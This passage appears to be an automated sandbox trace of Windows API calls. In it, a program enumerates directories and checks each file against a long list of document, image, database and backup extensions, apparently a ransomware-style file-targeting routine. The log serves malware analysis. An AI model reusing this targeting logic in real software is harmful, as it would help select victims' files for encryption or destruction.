(lpString=".pwm") returned 4 [0127.353] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".pxr") returned 4 [0127.353] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".py") returned 3 [0127.353] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0127.353] lstrlenW (lpString=".qt") returned 3 [0127.353] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0127.353] lstrlenW (lpString=".r3d") returned 4 [0127.353] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".raf") returned 4 [0127.353] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".rar") returned 4 [0127.353] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0127.353] lstrlenW (lpString=".raw") returned 4 [0127.353] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0127.354] FindNextFileW (in: hFindFile=0x8f3730, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0127.354] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x4299fc0 [0127.357] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.358] FindNextFileW (in: hFindFile=0x8f3770, lpFindFileData=0x364ee18 | out: lpFindFileData=0x364ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0128.180] FindNextFileW (in: hFindFile=0x8f3a70, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x284cca60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x284cca60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.180] FindNextFileW (in: hFindFile=0x8f3a70, lpFindFileData=0x364f094 | out: lpFindFileData=0x364f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x8f3c70, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.250] FindNextFileW (in: hFindFile=0x8f3c70, lpFindFileData=0x364f310 | out: lpFindFileData=0x364f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV", cAlternateFileName="")) returned 1 [0136.252] FindNextFileW (in: hFindFile=0x8f3530, lpFindFileData=0x364f58c | out: lpFindFileData=0x364f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x102e00, ftCreationTime.dwHighDateTime=0x1cab7e3, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x102e00, ftLastWriteTime.dwHighDateTime=0x1cab7e3, nFileSizeHigh=0x0, nFileSizeLow=0x12798, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll", cAlternateFileName="MIAE71~1.DLL")) returned 1 [0136.252] lstrlenW (lpString="Microsoft.Office.Interop.Visio.WorkflowAuthoring.dll") returned 52 [0136.252] lstrlenW (lpString=".1cd") returned 4 [0136.252] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0136.252] lstrlenW (lpString=".3ds") returned 4 [0136.252] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0136.252] lstrlenW (lpString=".3fr") returned 4 [0136.252] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0136.252] lstrlenW (lpString=".3g2") returned 4 [0136.252] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0136.252] lstrlenW (lpString=".3gp") returned 4 [0136.252] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0136.252] lstrlenW (lpString=".7z") returned 3 [0136.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0136.252] lstrlenW (lpString=".accda") returned 6 [0136.252] lstrcmpiW (lpString1=".accda", lpString2="ng.dll") returned -1 [0136.252] lstrlenW (lpString=".accdb") returned 6 [0136.252] lstrcmpiW (lpString1=".accdb", lpString2="ng.dll") returned -1 [0136.252] lstrlenW (lpString=".accdc") returned 6 [0136.252] lstrcmpiW (lpString1=".accdc", lpString2="ng.dll") returned -1 [0136.252] lstrlenW (lpString=".accde") returned 6 [0136.253] lstrcmpiW (lpString1=".accde", lpString2="ng.dll") returned -1 [0136.253] lstrlenW (lpString=".accdt") returned 6 [0136.253] lstrcmpiW (lpString1=".accdt", lpString2="ng.dll") returned -1 [0136.253] lstrlenW (lpString=".accdw") returned 6 [0136.253] lstrcmpiW (lpString1=".accdw", lpString2="ng.dll") returned -1 [0136.253] lstrlenW (lpString=".adb") returned 4 [0136.253] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".adp") returned 4 [0136.253] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".ai") returned 3 [0136.253] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0136.253] lstrlenW (lpString=".ai3") returned 4 [0136.253] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".ai4") returned 4 [0136.253] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".ai5") returned 4 [0136.253] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".ai6") returned 4 [0136.253] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".ai7") returned 4 [0136.253] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".ai8") returned 4 [0136.253] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".anim") returned 5 [0136.253] lstrcmpiW (lpString1=".anim", lpString2="g.dll") returned -1 [0136.253] lstrlenW (lpString=".arw") returned 4 [0136.253] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".as") returned 3 [0136.253] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0136.253] lstrlenW (lpString=".asa") returned 4 [0136.253] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".asc") returned 4 [0136.253] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0136.253] lstrlenW (lpString=".ascx") returned 5 [0136.253] lstrcmpiW (lpString1=".ascx", lpString2="g.dll") returned -1 [0136.253] lstrlenW (lpString=".asm") returned 4 [0136.254] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".asmx") returned 5 [0136.254] lstrcmpiW (lpString1=".asmx", lpString2="g.dll") returned -1 [0136.254] lstrlenW (lpString=".asp") returned 4 [0136.254] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".aspx") returned 5 [0136.254] lstrcmpiW (lpString1=".aspx", lpString2="g.dll") returned -1 [0136.254] lstrlenW (lpString=".asr") returned 4 [0136.254] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".asx") returned 4 [0136.254] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".avi") returned 4 [0136.254] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".avs") returned 4 [0136.254] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".backup") returned 7 [0136.254] lstrcmpiW (lpString1=".backup", lpString2="ing.dll") returned -1 [0136.254] lstrlenW (lpString=".bak") returned 4 [0136.254] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".bay") returned 4 [0136.254] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".bd") returned 3 [0136.254] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0136.254] lstrlenW (lpString=".bin") returned 4 [0136.254] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".bmp") returned 4 [0136.254] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".bz2") returned 4 [0136.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".c") returned 2 [0136.254] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0136.254] lstrlenW (lpString=".cdr") returned 4 [0136.254] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".cer") returned 4 [0136.254] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0136.254] lstrlenW (lpString=".cf") returned 3 [0136.255] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0136.255] lstrlenW (lpString=".cfc") returned 4 [0136.255] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".cfm") returned 4 [0136.255] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".cfml") returned 5 [0136.255] lstrcmpiW (lpString1=".cfml", lpString2="g.dll") returned -1 [0136.255] lstrlenW (lpString=".cfu") returned 4 [0136.255] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".chm") returned 4 [0136.255] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".cin") returned 4 [0136.255] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".class") returned 6 [0136.255] lstrcmpiW (lpString1=".class", lpString2="ng.dll") returned -1 [0136.255] lstrlenW (lpString=".clx") returned 4 [0136.255] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".config") returned 7 [0136.255] lstrcmpiW (lpString1=".config", lpString2="ing.dll") returned -1 [0136.255] lstrlenW (lpString=".cpp") returned 4 [0136.255] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".cr2") returned 4 [0136.255] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".crt") returned 4 [0136.255] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".crw") returned 4 [0136.255] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".cs") returned 3 [0136.255] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0136.255] lstrlenW (lpString=".css") returned 4 [0136.255] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".csv") returned 4 [0136.255] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".cub") returned 4 [0136.255] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0136.255] lstrlenW (lpString=".dae") returned 4 [0136.256] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dat") returned 4 [0136.256] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".db") returned 3 [0136.256] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0136.256] lstrlenW (lpString=".dbf") returned 4 [0136.256] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dbx") returned 4 [0136.256] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dc3") returned 4 [0136.256] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dcm") returned 4 [0136.256] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dcr") returned 4 [0136.256] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".der") returned 4 [0136.256] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dib") returned 4 [0136.256] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dic") returned 4 [0136.256] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".dif") returned 4 [0136.256] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0136.256] lstrlenW (lpString=".divx") returned 5 [0136.256] lstrcmpiW (lpString1=".divx", lpString2="g.dll") returned -1 [0136.256] lstrlenW (lpString=".djvu") returned 5 [0136.256] lstrcmpiW (lpString1=".djvu", lpString2="g.dll") returned -1 [0136.257] lstrlenW (lpString=".dng") returned 4 [0136.257] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0136.257] lstrlenW (lpString=".doc") returned 4 [0136.257] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0136.257] lstrlenW (lpString=".docm") returned 5 [0136.257] lstrcmpiW (lpString1=".docm", lpString2="g.dll") returned -1 [0136.257] lstrlenW (lpString=".docx") returned 5 [0136.257] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0136.257] lstrlenW (lpString=".dot") returned 4 [0136.257] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0136.257] lstrlenW (lpString=".dotm") returned 5 [0136.257] lstrcmpiW (lpString1=".dotm", lpString2="g.dll") returned -1 [0136.257] lstrlenW (lpString=".dotx") returned 5 [0136.257] lstrcmpiW (lpString1=".dotx", lpString2="g.dll") returned -1 [0136.257] lstrlenW (lpString=".dpx") returned 4 [0136.258] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".dqy") returned 4 [0136.258] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".dsn") returned 4 [0136.258] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".dt") returned 3 [0136.258] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0136.258] lstrlenW (lpString=".dtd") returned 4 [0136.258] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".dwg") returned 4 [0136.258] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".dwt") returned 4 [0136.258] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".dx") returned 3 [0136.258] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0136.258] lstrlenW (lpString=".dxf") returned 4 [0136.258] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".edml") returned 5 [0136.258] lstrcmpiW (lpString1=".edml", lpString2="g.dll") returned -1 [0136.258] lstrlenW (lpString=".efd") returned 4 [0136.258] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".elf") returned 4 [0136.258] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".emf") returned 4 [0136.258] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0136.258] lstrlenW (lpString=".emz") returned 4 [0136.259] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".epf") returned 4 [0136.259] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".eps") returned 4 [0136.259] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".epsf") returned 5 [0136.259] lstrcmpiW (lpString1=".epsf", lpString2="g.dll") returned -1 [0136.259] lstrlenW (lpString=".epsp") returned 5 [0136.259] lstrcmpiW (lpString1=".epsp", lpString2="g.dll") returned -1 [0136.259] lstrlenW (lpString=".erf") returned 4 [0136.259] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".exr") returned 4 [0136.259] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".f4v") returned 4 [0136.259] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".fido") returned 5 [0136.259] lstrcmpiW (lpString1=".fido", lpString2="g.dll") returned -1 [0136.259] lstrlenW (lpString=".flm") returned 4 [0136.259] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".flv") returned 4 [0136.259] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".frm") returned 4 [0136.259] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".fxg") returned 4 [0136.259] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".geo") returned 4 [0136.259] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".gif") returned 4 [0136.259] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".grs") returned 4 [0136.259] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0136.259] lstrlenW (lpString=".gz") returned 3 [0136.259] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0136.259] lstrlenW (lpString=".h") returned 2 [0136.259] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0136.259] lstrlenW (lpString=".hdr") returned 4 [0136.259] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".hpp") returned 4 [0136.260] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".hta") returned 4 [0136.260] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".htc") returned 4 [0136.260] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".htm") returned 4 [0136.260] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".html") returned 5 [0136.260] lstrcmpiW (lpString1=".html", lpString2="g.dll") returned -1 [0136.260] lstrlenW (lpString=".icb") returned 4 [0136.260] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".ics") returned 4 [0136.260] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".iff") returned 4 [0136.260] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".inc") returned 4 [0136.260] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".indd") returned 5 [0136.260] lstrcmpiW (lpString1=".indd", lpString2="g.dll") returned -1 [0136.260] lstrlenW (lpString=".ini") returned 4 [0136.260] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".iqy") returned 4 [0136.260] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".j2c") returned 4 [0136.260] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".j2k") returned 4 [0136.260] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0136.260] lstrlenW (lpString=".java") returned 5 [0136.260] lstrcmpiW (lpString1=".java", lpString2="g.dll") returned -1 [0136.260] lstrlenW (lpString=".jp2") returned 4 [0136.260] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".jpc") returned 4 [0136.261] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".jpe") returned 4 [0136.261] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".jpeg") returned 5 [0136.261] lstrcmpiW (lpString1=".jpeg", lpString2="g.dll") returned -1 [0136.261] lstrlenW (lpString=".jpf") returned 4 [0136.261] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".jpg") returned 4 [0136.261] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".jpx") returned 4 [0136.261] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".js") returned 3 [0136.261] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0136.261] lstrlenW (lpString=".jsf") returned 4 [0136.261] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".json") returned 5 [0136.261] lstrcmpiW (lpString1=".json", lpString2="g.dll") returned -1 [0136.261] lstrlenW (lpString=".jsp") returned 4 [0136.261] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".kdc") returned 4 [0136.261] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".kmz") returned 4 [0136.261] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0136.261] lstrlenW (lpString=".kwm") returned 4 [0136.261] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0136.354] lstrlenW (lpString=".lasso") returned 6 [0136.354] lstrcmpiW (lpString1=".lasso", lpString2="ng.dll") returned -1 [0136.354] lstrlenW (lpString=".lbi") returned 4 [0136.354] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0136.354] lstrlenW (lpString=".lgf") returned 4 [0136.354] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0136.354] lstrlenW (lpString=".lgp") returned 4 [0136.354] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0136.354] lstrlenW (lpString=".log") returned 4 [0136.354] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0136.354] lstrlenW (lpString=".m1v") returned 4 [0136.354] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0136.354] lstrlenW (lpString=".m4a") returned 4 [0136.354] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0136.354] lstrlenW (lpString=".m4v") returned 4 [0136.355] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".max") returned 4 [0136.355] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".md") returned 3 [0136.355] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0136.355] lstrlenW (lpString=".mda") returned 4 [0136.355] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mdb") returned 4 [0136.355] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mde") returned 4 [0136.355] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mdf") returned 4 [0136.355] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mdw") returned 4 [0136.355] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mef") returned 4 [0136.355] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mft") returned 4 [0136.355] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mfw") returned 4 [0136.355] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mht") returned 4 [0136.355] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mhtml") returned 6 [0136.355] lstrcmpiW (lpString1=".mhtml", lpString2="ng.dll") returned -1 [0136.355] lstrlenW (lpString=".mka") returned 4 [0136.355] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mkidx") returned 6 [0136.355] lstrcmpiW (lpString1=".mkidx", lpString2="ng.dll") returned -1 [0136.355] lstrlenW (lpString=".mkv") returned 4 [0136.355] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mos") returned 4 [0136.355] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mov") returned 4 [0136.355] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mp3") returned 4 [0136.355] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0136.355] lstrlenW (lpString=".mp4") returned 4 [0136.356] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".mpeg") returned 5 [0136.356] lstrcmpiW (lpString1=".mpeg", lpString2="g.dll") returned -1 [0136.356] lstrlenW (lpString=".mpg") returned 4 [0136.356] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".mpv") returned 4 [0136.356] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".mrw") returned 4 [0136.356] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".msg") returned 4 [0136.356] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".mxl") returned 4 [0136.356] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".myd") returned 4 [0136.356] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".myi") returned 4 [0136.356] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".nef") returned 4 [0136.356] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".nrw") returned 4 [0136.356] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0136.356] lstrlenW (lpString=".obj") returned 4 